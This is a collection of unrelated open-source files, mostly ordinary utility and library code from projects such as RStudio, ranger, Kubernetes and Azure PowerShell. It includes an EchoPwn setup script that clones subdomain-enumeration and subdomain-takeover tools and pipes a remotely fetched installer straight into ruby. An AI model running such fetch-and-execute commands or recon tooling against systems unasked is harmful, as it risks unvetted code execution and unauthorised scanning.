/* * SessionTutorial.cpp * * Copyright (C) 2020 by RStudio, PBC * * Unless you have received this program directly from RStudio pursuant * to the terms of a commercial license agreement with RStudio, then * this program is licensed to you under the terms of version 3 of the * GNU Affero General Public License. This program is distributed WITHOUT * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT, * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the * AGPL (http://www.gnu.org/licenses/agpl-3.0.txt) for more details. * */ #include "SessionTutorial.hpp" #include <shared_core/json/Json.hpp> #include <core/Exec.hpp> #include <core/markdown/Markdown.hpp> #include <core/text/TemplateFilter.hpp> #include <core/YamlUtil.hpp> #include <r/RExec.hpp> #include <r/RJson.hpp> #include <r/RSexp.hpp> #include <session/projects/SessionProjects.hpp> #include <session/SessionPackageProvidedExtension.hpp> #include <session/SessionModuleContext.hpp> const char * const kTutorialLocation = "/tutorial"; const char * const kTutorialClientEventIndexingCompleted = "indexing_completed"; using namespace rstudio::core; namespace rstudio { namespace session { namespace modules { namespace tutorial { namespace { FilePath tutorialResourcePath(const std::string& fileName = std::string()) { return module_context::scopedScratchPath() .completePath("tutorial/" + fileName); } struct TutorialInfo { std::string name; std::string file; std::string title; std::string description; }; using TutorialIndex = std::map<std::string, std::vector<TutorialInfo>>; TutorialIndex& tutorialIndex() { static TutorialIndex instance; return instance; } void enqueueTutorialClientEvent(const std::string& type, const json::Value& data) { using namespace module_context; json::Object eventJson; eventJson["type"] = type; eventJson["data"] = data; ClientEvent event(client_events::kTutorialCommand, eventJson); enqueClientEvent(event); } class TutorialWorker : public ppe::Worker { private: void onIndexingStarted() override { index_.clear(); } void onIndexingCompleted(core::json::Object* pPayload) override { tutorialIndex() = index_; enqueueTutorialClientEvent( kTutorialClientEventIndexingCompleted, json::Value()); } void onWork(const std::string& pkgName, const core::FilePath& resourcePath) override { r::sexp::Protect protect; SEXP tutorialsSEXP; Error error = r::exec::RFunction(".rs.tutorial.findTutorials") .addParam(resourcePath.getAbsolutePath()) .call(&tutorialsSEXP, &protect); if (error) { LOG_ERROR(error); return; } json::Value tutorialsJson; error = r::json::jsonValueFromList(tutorialsSEXP, &tutorialsJson); if (error) { LOG_ERROR(error); return; } if (!tutorialsJson.isArray()) { Error error(json::errc::ParamTypeMismatch, ERROR_LOCATION); LOG_ERROR(error); } for (auto tutorialJson : tutorialsJson.getArray()) { if (!tutorialJson.isObject()) { Error error(json::errc::ParamTypeMismatch, ERROR_LOCATION); LOG_ERROR(error); } TutorialInfo info; error = json::readObject(tutorialJson.getObject(), "name", info.name, "file", info.file, "title", info.title, "description", info.description); if (error) { LOG_ERROR(error); return; } index_[pkgName].push_back(info); } } private: TutorialIndex index_; }; boost::shared_ptr<TutorialWorker>& tutorialWorker() { static boost::shared_ptr<TutorialWorker> instance(new TutorialWorker); return instance; } FilePath resourcesPath() { return options().rResourcesPath().completePath("tutorial_resources"); } void handleTutorialRunRequest(const http::Request& request, http::Response* pResponse) { std::string package = request.queryParamValue("package"); std::string name = request.queryParamValue("name"); Error error = r::exec::RFunction(".rs.tutorial.runTutorial") .addParam(name) .addParam(package) .call(); if (error) { LOG_ERROR(error); pResponse->setStatusCode(http::status::NotFound); return; } FilePath loadingPath = resourcesPath().completePath("loading.html"); pResponse->setFile(loadingPath, request); } void handleTutorialHomeRequest(const http::Request& request, http::Response* pResponse) { using namespace string_utils; std::stringstream ss; if (tutorialIndex().empty()) { ss << "<div class=\"rstudio-tutorials-section\">"; if (!module_context::isPackageInstalled("learnr")) { std::stringstream clickHere; clickHere << "<a" << " aria-label\"Install learnr\"" << " class=\"rstudio-tutorials-install-learnr-link\"" << " href=\"javascript:void(0)\"" << " onclick=\"window.parent.tutorialInstallLearnr(); return false;\">" << "click here" << "</a>"; ss << "<p>The <code>learnr</code> package is required to run tutorials for RStudio.</p>" << "<p>Please " << clickHere.str() << " to install the <code>learnr</code> package.</p>"; } else { ss << "<p>Please wait while RStudio finishes indexing available tutorials...</p>"; } ss << "</div>"; } for (auto entry : tutorialIndex()) { std::string pkgName = entry.first; std::vector<TutorialInfo> tutorials = entry.second; if (tutorials.empty()) continue; for (auto tutorial : tutorials) { ss << "<div class=\"rstudio-tutorials-section\">"; ss << "<div class=\"rstudio-tutorials-label-container\">"; std::string title = (tutorial.title.empty()) ? "[Untitled tutorial]" : htmlEscape(tutorial.title); ss << "<span role=\"heading\" aria-level=\"2\" class=\"rstudio-tutorials-label\">" << title << "</span>"; ss << "<span class=\"rstudio-tutorials-run-container\">" << "<button" << " class=\"rstudio-tutorials-run-button\"" << " aria-label=\"Start tutorial '" << htmlEscape(tutorial.name, true) << "' from package '" << htmlEscape(pkgName, true) << "'\"" << " onclick=\"window.parent.tutorialRun('" << htmlEscape(tutorial.name, true) << "', '" << htmlEscape(pkgName, true) << "')\"" << ">" << "<span class=\"rstudio-tutorials-run-button-label\">Start Tutorial</span>" << "<span class=\"rstudio-tutorials-run-button-icon\">&#x25b6</span>" << "</button>" << "</span>"; ss << "</div>"; ss << "<div class=\"rstudio-tutorials-sublabel\">" << pkgName << ": " << htmlEscape(tutorial.name) << "</div>"; if (tutorial.description.empty()) { ss << "<div class=\"rstudio-tutorials-description rstudio-tutorials-description-empty\">" << "<p>[No description available.]</p>" << "</div>"; } else { std::string descriptionHtml; Error error = core::markdown::markdownToHTML( tutorial.description, core::markdown::Extensions(), core::markdown::HTMLOptions(), &descriptionHtml); if (error) { LOG_ERROR(error); descriptionHtml = tutorial.description; } ss << "<div class=\"rstudio-tutorials-description\">" << descriptionHtml << "</div>"; } ss << "</div>"; } } std::map<std::string, std::string> vars; std::string tutorialsHtml = ss.str(); vars["tutorials"] = tutorialsHtml; FilePath homePath = resourcesPath().completePath("index.html"); pResponse->setFile(homePath, request, text::TemplateFilter(vars)); } void handleTutorialFileRequest(const http::Request& request, http::Response* pResponse) { FilePath resourcesPath = options().rResourcesPath().completePath("tutorial_resources"); std::string path = http::util::pathAfterPrefix(request, "/tutorial/"); if (path.empty()) { pResponse->setStatusCode(http::status::NotFound); return; } pResponse->setCacheableFile(resourcesPath.completePath(path), request); } void handleTutorialRequest(const http::Request& request, http::Response* pResponse) { std::string path = http::util::pathAfterPrefix(request, kTutorialLocation); if (path == "/run") handleTutorialRunRequest(request, pResponse); else if (path == "/home") handleTutorialHomeRequest(request, pResponse); else if (boost::algorithm::ends_with(path, ".png")) handleTutorialFileRequest(request, pResponse); else { LOG_ERROR_MESSAGE("Unhandled tutorial URI '" + path + "'"); pResponse->setStatusCode(http::status::NotFound); } } void onDeferredInit(bool newSession) { static bool s_launched = false; if (s_launched) return; using namespace projects; if (!projectContext().hasProject()) return; std::string defaultTutorial = projectContext().config().defaultTutorial; if (defaultTutorial.empty()) return; std::vector<std::string> parts = core::algorithm::split(defaultTutorial, "::"); if (parts.size() != 2) { LOG_WARNING_MESSAGE("Unexpected DefaultTutorial field: " + defaultTutorial); return; } json::Object data; data["package"] = parts[0]; data["name"] = parts[1]; ClientEvent event(client_events::kTutorialLaunch, data); module_context::enqueClientEvent(event); s_launched = true; } void onSuspend(const r::session::RSuspendOptions& suspendOptions, Settings* pSettings) { Error error = r::exec::RFunction(".rs.tutorial.onSuspend") .addParam(tutorialResourcePath("tutorial-state").getAbsolutePath()) .call(); if (error) LOG_ERROR(error); } void onResume(const Settings& settings) { Error error = r::exec::RFunction(".rs.tutorial.onResume") .addParam(tutorialResourcePath("tutorial-state").getAbsolutePath()) .call(); if (error) LOG_ERROR(error); } } // end anonymous namespace Error initialize() { using namespace module_context; ppe::indexer().addWorker(tutorialWorker()); events().onDeferredInit.connect(onDeferredInit); addSuspendHandler(SuspendHandler(onSuspend, onResume)); Error error = tutorialResourcePath().ensureDirectory(); if (error) LOG_ERROR(error); using boost::bind; ExecBlock initBlock; initBlock.addFunctions() (bind(registerUriHandler, kTutorialLocation, handleTutorialRequest)) (bind(sourceModuleRFile, "SessionTutorial.R")); return initBlock.execute(); } } // end namespace tutorial } // end namespace modules } // end namespace session } // end namespace rstudio
{ "pile_set_name": "Github" }
/* * @file am335x-boneblack-wireless-roboticscape.dtb * * based on am335x-boneblack-wireless.dtb * * This device tree serves to replace the need for an overlay when using * the RoboticsCape. It is similar to the boneblue tree but preserves * pin config for the black. * * This file was updated in April 2018 to support LED driver like in BB Blue * This goes in sync with V0.4.0 of the Robotics Cape library * * @author James Strawson * @date April 19, 2018 */ /dts-v1/; #include "am33xx.dtsi" #include "am335x-bone-common-no-capemgr.dtsi" #include "am335x-bone-common-universal-pins.dtsi" #include "am335x-boneblack-wl1835.dtsi" #include "am335x-roboticscape.dtsi" / { model = "TI AM335x BeagleBone Black Wireless RoboticsCape"; compatible = "ti,am335x-bone-black", "ti,am335x-bone", "ti,am33xx"; }; &ldo3_reg { regulator-min-microvolt = <1800000>; regulator-max-microvolt = <1800000>; regulator-always-on; }; &mmc1 { vmmc-supply = <&vmmcsd_fixed>; }; &mmc2 { vmmc-supply = <&vmmcsd_fixed>; pinctrl-names = "default"; pinctrl-0 = <&emmc_pins>; bus-width = <8>; status = "okay"; }; &mac { status = "disabled"; }; &mmc3 { status = "okay"; };
{ "pile_set_name": "Github" }
# This file was taken from the python 2.7.13 standard library and has been # slightly modified to do a "yield" after every 16KB of copying from __future__ import (absolute_import, division, print_function) import os import stat import sys from shutil import (_samefile, rmtree, _basename, _destinsrc, Error, SpecialFileError) from ranger.ext.safe_path import get_safe_path __all__ = ["copyfileobj", "copyfile", "copystat", "copy2", "BLOCK_SIZE", "copytree", "move", "rmtree", "Error", "SpecialFileError"] BLOCK_SIZE = 16 * 1024 if sys.version_info < (3, 3): def copystat(src, dst): """Copy all stat info (mode bits, atime, mtime, flags) from src to dst""" st = os.stat(src) # pylint: disable=invalid-name mode = stat.S_IMODE(st.st_mode) if hasattr(os, 'utime'): try: os.utime(dst, (st.st_atime, st.st_mtime)) except OSError: pass if hasattr(os, 'chmod'): try: os.chmod(dst, mode) except OSError: pass if hasattr(os, 'chflags') and hasattr(st, 'st_flags'): try: os.chflags(dst, st.st_flags) # pylint: disable=no-member except OSError: pass else: from shutil import _copyxattr # pylint: disable=no-name-in-module def copystat(src, dst, follow_symlinks=True): """Copy all stat info (mode bits, atime, mtime, flags) from src to dst. If the optional flag `follow_symlinks` is not set, symlinks aren't followed if and only if both `src` and `dst` are symlinks. """ def _nop(*args, **kwargs): # pylint: disable=unused-argument pass # follow symlinks (aka don't not follow symlinks) follow = follow_symlinks or not (os.path.islink(src) and os.path.islink(dst)) if follow: # use the real function if it exists def lookup(name): return getattr(os, name, _nop) else: # use the real function only if it exists # *and* it supports follow_symlinks def lookup(name): fn = getattr(os, name, _nop) # pylint: disable=invalid-name if fn in os.supports_follow_symlinks: # pylint: disable=no-member return fn return _nop st = lookup("stat")(src, follow_symlinks=follow) # pylint: disable=invalid-name mode = stat.S_IMODE(st.st_mode) try: lookup("utime")(dst, ns=(st.st_atime_ns, st.st_mtime_ns), follow_symlinks=follow) except OSError: pass try: lookup("chmod")(dst, mode, follow_symlinks=follow) except NotImplementedError: # if we got a NotImplementedError, it's because # * follow_symlinks=False, # * lchown() is unavailable, and # * either # * fchownat() is unavailable or # * fchownat() doesn't implement AT_SYMLINK_NOFOLLOW. # (it returned ENOSUP.) # therefore we're out of options--we simply cannot chown the # symlink. give up, suppress the error. # (which is what shutil always did in this circumstance.) pass except OSError: pass if hasattr(st, 'st_flags'): try: lookup("chflags")(dst, st.st_flags, follow_symlinks=follow) except OSError: pass try: _copyxattr(src, dst, follow_symlinks=follow) except OSError: pass def copyfileobj(fsrc, fdst, length=BLOCK_SIZE): """copy data from file-like object fsrc to file-like object fdst""" done = 0 while 1: buf = fsrc.read(length) if not buf: break fdst.write(buf) done += len(buf) yield done def copyfile(src, dst): """Copy data from src to dst""" if _samefile(src, dst): raise Error("`%s` and `%s` are the same file" % (src, dst)) for fn in [src, dst]: # pylint: disable=invalid-name try: st = os.stat(fn) # pylint: disable=invalid-name except OSError: # File most likely does not exist pass else: # XXX What about other special files? (sockets, devices...) if stat.S_ISFIFO(st.st_mode): raise SpecialFileError("`%s` is a named pipe" % fn) with open(src, 'rb') as fsrc: with open(dst, 'wb') as fdst: for done in copyfileobj(fsrc, fdst): yield done def copy2(src, dst, overwrite=False, symlinks=False, make_safe_path=get_safe_path): """Copy data and all stat info ("cp -p src dst"). The destination may be a directory. """ if os.path.isdir(dst): dst = os.path.join(dst, os.path.basename(src)) if not overwrite: dst = make_safe_path(dst) if symlinks and os.path.islink(src): linkto = os.readlink(src) if overwrite and os.path.lexists(dst): os.unlink(dst) os.symlink(linkto, dst) else: for done in copyfile(src, dst): yield done copystat(src, dst) def copytree(src, dst, # pylint: disable=too-many-locals,too-many-branches symlinks=False, ignore=None, overwrite=False, make_safe_path=get_safe_path): """Recursively copy a directory tree using copy2(). The destination directory must not already exist. If exception(s) occur, an Error is raised with a list of reasons. If the optional symlinks flag is true, symbolic links in the source tree result in symbolic links in the destination tree; if it is false, the contents of the files pointed to by symbolic links are copied. The optional ignore argument is a callable. If given, it is called with the `src` parameter, which is the directory being visited by copytree(), and `names` which is the list of `src` contents, as returned by os.listdir(): callable(src, names) -> ignored_names Since copytree() is called recursively, the callable will be called once for each directory that is copied. It returns a list of names relative to the `src` directory that should not be copied. XXX Consider this example code rather than the ultimate tool. """ names = os.listdir(src) if ignore is not None: ignored_names = ignore(src, names) else: ignored_names = set() try: os.makedirs(dst) except OSError: if not overwrite: dst = make_safe_path(dst) os.makedirs(dst) errors = [] done = 0 for name in names: if name in ignored_names: continue srcname = os.path.join(src, name) dstname = os.path.join(dst, name) try: if symlinks and os.path.islink(srcname): linkto = os.readlink(srcname) if overwrite and os.path.lexists(dstname): os.unlink(dstname) os.symlink(linkto, dstname) copystat(srcname, dstname) elif os.path.isdir(srcname): n = 0 for n in copytree(srcname, dstname, symlinks, ignore, overwrite, make_safe_path): yield done + n done += n else: # Will raise a SpecialFileError for unsupported file types n = 0 for n in copy2(srcname, dstname, overwrite=overwrite, symlinks=symlinks, make_safe_path=make_safe_path): yield done + n done += n # catch the Error from the recursive copytree so that we can # continue with other files except Error as err: errors.extend(err.args[0]) except EnvironmentError as why: errors.append((srcname, dstname, str(why))) try: copystat(src, dst) except OSError as why: errors.append((src, dst, str(why))) if errors: raise Error(errors) def move(src, dst, overwrite=False, make_safe_path=get_safe_path): """Recursively move a file or directory to another location. This is similar to the Unix "mv" command. If the destination is a directory or a symlink to a directory, the source is moved inside the directory. The destination path must not already exist. If the destination already exists but is not a directory, it may be overwritten depending on os.rename() semantics. If the destination is on our current filesystem, then rename() is used. Otherwise, src is copied to the destination and then removed. A lot more could be done here... A look at a mv.c shows a lot of the issues this implementation glosses over. """ real_dst = dst if os.path.isdir(dst): if _samefile(src, dst): # We might be on a case insensitive filesystem, # perform the rename anyway. os.rename(src, dst) return real_dst = os.path.join(dst, _basename(src)) if not overwrite: real_dst = make_safe_path(real_dst) try: os.rename(src, real_dst) except OSError: if os.path.isdir(src): if _destinsrc(src, dst): raise Error("Cannot move a directory '%s' into itself '%s'." % (src, dst)) for done in copytree(src, real_dst, symlinks=True, overwrite=overwrite, make_safe_path=make_safe_path): yield done rmtree(src) else: for done in copy2(src, real_dst, symlinks=True, overwrite=overwrite, make_safe_path=make_safe_path): yield done os.unlink(src)
{ "pile_set_name": "Github" }
package com.alipay.api.response; import com.alipay.api.internal.mapping.ApiField; import com.alipay.api.AlipayResponse; /** * ALIPAY API: alipay.open.public.third.customer.service response. * * @author auto create * @since 1.0, 2020-04-07 16:57:02 */ public class AlipayOpenPublicThirdCustomerServiceResponse extends AlipayResponse { private static final long serialVersionUID = 6731495125164985227L; /** * 授权给第三方渠道商的服务窗名称 */ @ApiField("public_name") private String publicName; public void setPublicName(String publicName) { this.publicName = publicName; } public String getPublicName( ) { return this.publicName; } }
{ "pile_set_name": "Github" }
import os import sys import matplotlib.pyplot as plt import seaborn ROOT = os.path.realpath(os.path.join(os.path.dirname(__file__), "../")) sys.path.append(ROOT) from utils import benchmark data = [ ("Size", [16 * 1024, 32 * 1024, 36 * 1024, 48 * 1024, 128 * 1024, 256 * 1024, 512 * 1024, 1 * 1024 * 1024, 2 * 1024 * 1024, 3 * 1024 * 1024, 4 * 1024 * 1024, 6 * 1024 * 1024, 10 * 1024 * 1024, 20 * 1024 * 1024, 30 * 1024 * 1024, 50 * 1024 * 1024]) ] frame = benchmark(data, pin_to_cpu=True, y_axis="Bandwidth") frame["Size"] = frame["Size"] // 1024 ax = seaborn.barplot(data=frame, x="Size", y="Bandwidth") ax.set(ylabel="Bandwidth [MiB/s]", xlabel="Size [KiB]") plt.show()
{ "pile_set_name": "Github" }
package codepath.apps.demointroandroid; import android.os.Bundle; import android.app.Activity; import android.view.Menu; import android.view.View; import android.widget.CheckBox; import android.widget.EditText; import android.widget.RadioButton; import android.widget.RadioGroup; import android.widget.Toast; public class ToastFormInputsActivity extends Activity { EditText etVal; CheckBox chkVal; RadioGroup rdgVal; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_toast_form_inputs); etVal = (EditText) findViewById(R.id.etVal); chkVal = (CheckBox) findViewById(R.id.chkVal); rdgVal = (RadioGroup) findViewById(R.id.rdgVal); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.activity_toast_form_inputs, menu); return true; } public void toastInputs(View v) { int selected = rdgVal.getCheckedRadioButtonId(); RadioButton b = (RadioButton) findViewById(selected); String text = etVal.getText() + " | " + chkVal.isChecked() + " | " + b.getText(); Toast.makeText(this, text, Toast.LENGTH_SHORT).show(); } }
{ "pile_set_name": "Github" }
// +build !ignore_autogenerated /* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Code generated by deepcopy-gen. DO NOT EDIT. package resource // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. func (in *Quantity) DeepCopyInto(out *Quantity) { *out = in.DeepCopy() return }
{ "pile_set_name": "Github" }
/* * sampler2bit.h * * Written by * Marco van den Heuvel <[email protected]> * * This file is part of VICE, the Versatile Commodore Emulator. * See README for copyright notice. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA * 02111-1307 USA. * */ #ifndef VICE_SAMPLER2BIT_H #define VICE_SAMPLER2BIT_H #include "types.h" extern int joyport_sampler2bit_resources_init(void); #endif
{ "pile_set_name": "Github" }
# Be sure to restart your server when you modify this file. # You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces. # Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ } # You can also remove all the silencers if you're trying to debug a problem that might stem from framework code. # Rails.backtrace_cleaner.remove_silencers!
{ "pile_set_name": "Github" }
namespace Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview { using static Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Runtime.Extensions; /// <summary>Defines the request body for updating move collection.</summary> public partial class UpdateMoveCollectionRequest : Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequest, Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequestInternal { /// <summary>Backing field for <see cref="Identity" /> property.</summary> private Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentity _identity; /// <summary>Defines the MSI properties of the Move Collection.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Origin(Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.PropertyOrigin.Owned)] internal Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentity Identity { get => (this._identity = this._identity ?? new Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.Identity()); set => this._identity = value; } /// <summary>Gets or sets the principal id.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Origin(Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.PropertyOrigin.Inlined)] public string IdentityPrincipalId { get => ((Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentityInternal)Identity).PrincipalId; set => ((Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentityInternal)Identity).PrincipalId = value; } /// <summary>Gets or sets the tenant id.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Origin(Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.PropertyOrigin.Inlined)] public string IdentityTenantId { get => ((Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentityInternal)Identity).TenantId; set => ((Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentityInternal)Identity).TenantId = value; } /// <summary>The type of identity used for the region move service.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Origin(Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.PropertyOrigin.Inlined)] public Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Support.ResourceIdentityType? IdentityType { get => ((Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentityInternal)Identity).Type; set => ((Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentityInternal)Identity).Type = value; } /// <summary>Internal Acessors for Identity</summary> Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentity Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequestInternal.Identity { get => (this._identity = this._identity ?? new Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.Identity()); set { {_identity = value;} } } /// <summary>Backing field for <see cref="Tag" /> property.</summary> private Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequestTags _tag; /// <summary>Gets or sets the Resource tags.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Origin(Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.PropertyOrigin.Owned)] public Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequestTags Tag { get => (this._tag = this._tag ?? new Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.UpdateMoveCollectionRequestTags()); set => this._tag = value; } /// <summary>Creates an new <see cref="UpdateMoveCollectionRequest" /> instance.</summary> public UpdateMoveCollectionRequest() { } } /// Defines the request body for updating move collection. public partial interface IUpdateMoveCollectionRequest : Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Runtime.IJsonSerializable { /// <summary>Gets or sets the principal id.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Runtime.Info( Required = false, ReadOnly = false, Description = @"Gets or sets the principal id.", SerializedName = @"principalId", PossibleTypes = new [] { typeof(string) })] string IdentityPrincipalId { get; set; } /// <summary>Gets or sets the tenant id.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Runtime.Info( Required = false, ReadOnly = false, Description = @"Gets or sets the tenant id.", SerializedName = @"tenantId", PossibleTypes = new [] { typeof(string) })] string IdentityTenantId { get; set; } /// <summary>The type of identity used for the region move service.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Runtime.Info( Required = false, ReadOnly = false, Description = @"The type of identity used for the region move service.", SerializedName = @"type", PossibleTypes = new [] { typeof(Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Support.ResourceIdentityType) })] Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Support.ResourceIdentityType? IdentityType { get; set; } /// <summary>Gets or sets the Resource tags.</summary> [Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Runtime.Info( Required = false, ReadOnly = false, Description = @"Gets or sets the Resource tags.", SerializedName = @"tags", PossibleTypes = new [] { typeof(Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequestTags) })] Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequestTags Tag { get; set; } } /// Defines the request body for updating move collection. internal partial interface IUpdateMoveCollectionRequestInternal { /// <summary>Defines the MSI properties of the Move Collection.</summary> Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IIdentity Identity { get; set; } /// <summary>Gets or sets the principal id.</summary> string IdentityPrincipalId { get; set; } /// <summary>Gets or sets the tenant id.</summary> string IdentityTenantId { get; set; } /// <summary>The type of identity used for the region move service.</summary> Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Support.ResourceIdentityType? IdentityType { get; set; } /// <summary>Gets or sets the Resource tags.</summary> Microsoft.Azure.PowerShell.Cmdlets.ResourceMover.Models.Api20191001Preview.IUpdateMoveCollectionRequestTags Tag { get; set; } } }
{ "pile_set_name": "Github" }
pip3 install -r requirements.txt chmod +x EchoPwn.sh #Tools #arjun git clone https://github.com/s0md3v/Arjun.git #Photon git clone https://github.com/s0md3v/Photon.git #Sublist3r git clone https://github.com/aboul3la/Sublist3r.git #dirsearch git clone https://github.com/maurosoria/dirsearch.git #subdomain-takeover git clone https://github.com/antichown/subdomain-takeover.git #Aquatone echo "Installing Aquatone-discover" gem install aquatone #Amass echo "Installing Amass" #cloning massdns git clone https://github.com/blechschmidt/massdns.git if [[ $(uname) = 'Darwin' ]] then ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" brew tap caffix/amass brew install amass findomain nmap echo "Installing MassDNS" cd massdns; make nolinux; cd .. else sudo apt-get update sudo apt-get install -y amass nmap golang echo "Installing Findomain" wget https://github.com/Edu4rdSHL/findomain/releases/latest/download/findomain-linux chmod +x findomain-linux mv findomain-linux findomain echo "Installing MassDNS" cd massdns; make; cd .. fi go get -u github.com/tomnomnom/httprobe
{ "pile_set_name": "Github" }
polygon 1 1.554432E+01 4.931016E+01 1.554449E+01 4.931065E+01 1.554462E+01 4.931134E+01 1.554461E+01 4.931158E+01 1.554470E+01 4.931175E+01 1.554483E+01 4.931196E+01 1.554515E+01 4.931219E+01 1.554567E+01 4.931265E+01 1.554624E+01 4.931297E+01 1.554665E+01 4.931312E+01 1.554712E+01 4.931331E+01 1.554748E+01 4.931340E+01 1.554836E+01 4.931364E+01 1.554853E+01 4.931369E+01 1.554899E+01 4.931374E+01 1.554940E+01 4.931379E+01 1.554978E+01 4.931384E+01 1.555053E+01 4.931391E+01 1.555101E+01 4.931407E+01 1.555131E+01 4.931423E+01 1.555183E+01 4.931458E+01 1.555204E+01 4.931479E+01 1.555227E+01 4.931507E+01 1.555251E+01 4.931527E+01 1.555264E+01 4.931535E+01 1.555291E+01 4.931556E+01 1.555320E+01 4.931576E+01 1.555374E+01 4.931598E+01 1.555430E+01 4.931604E+01 1.555479E+01 4.931612E+01 1.555496E+01 4.931613E+01 1.555514E+01 4.931614E+01 1.555559E+01 4.931608E+01 1.555614E+01 4.931608E+01 1.555644E+01 4.931609E+01 1.555662E+01 4.931610E+01 1.555674E+01 4.931608E+01 1.555752E+01 4.931611E+01 1.555798E+01 4.931618E+01 1.555820E+01 4.931613E+01 1.555867E+01 4.931619E+01 1.555887E+01 4.931659E+01 1.555950E+01 4.931798E+01 1.555978E+01 4.931876E+01 1.555979E+01 4.931889E+01 1.556007E+01 4.931963E+01 1.556028E+01 4.931992E+01 1.556035E+01 4.931998E+01 1.556063E+01 4.932044E+01 1.556070E+01 4.932049E+01 1.556098E+01 4.932090E+01 1.556143E+01 4.932166E+01 1.556167E+01 4.932197E+01 1.556179E+01 4.932210E+01 1.556190E+01 4.932225E+01 1.556209E+01 4.932219E+01 1.556208E+01 4.932226E+01 1.556220E+01 4.932222E+01 1.556229E+01 4.932239E+01 1.556259E+01 4.932309E+01 1.556276E+01 4.932311E+01 1.556286E+01 4.932312E+01 1.556294E+01 4.932313E+01 1.556320E+01 4.932324E+01 1.556335E+01 4.932326E+01 1.556415E+01 4.932367E+01 1.556432E+01 4.932377E+01 1.556438E+01 4.932383E+01 1.556442E+01 4.932391E+01 1.556444E+01 4.932398E+01 1.556444E+01 4.932405E+01 1.556444E+01 4.932411E+01 1.556442E+01 4.932419E+01 1.556447E+01 4.932424E+01 1.556528E+01 4.932420E+01 1.556538E+01 4.932419E+01 1.556549E+01 4.932417E+01 1.556566E+01 4.932417E+01 1.556623E+01 4.932415E+01 1.556679E+01 4.932413E+01 1.556743E+01 4.932411E+01 1.556795E+01 4.932407E+01 1.556823E+01 4.932404E+01 1.556825E+01 4.932406E+01 1.556871E+01 4.932402E+01 1.556924E+01 4.932397E+01 1.556965E+01 4.932393E+01 1.556994E+01 4.932394E+01 1.557024E+01 4.932395E+01 1.557050E+01 4.932397E+01 1.557066E+01 4.932400E+01 1.557143E+01 4.932400E+01 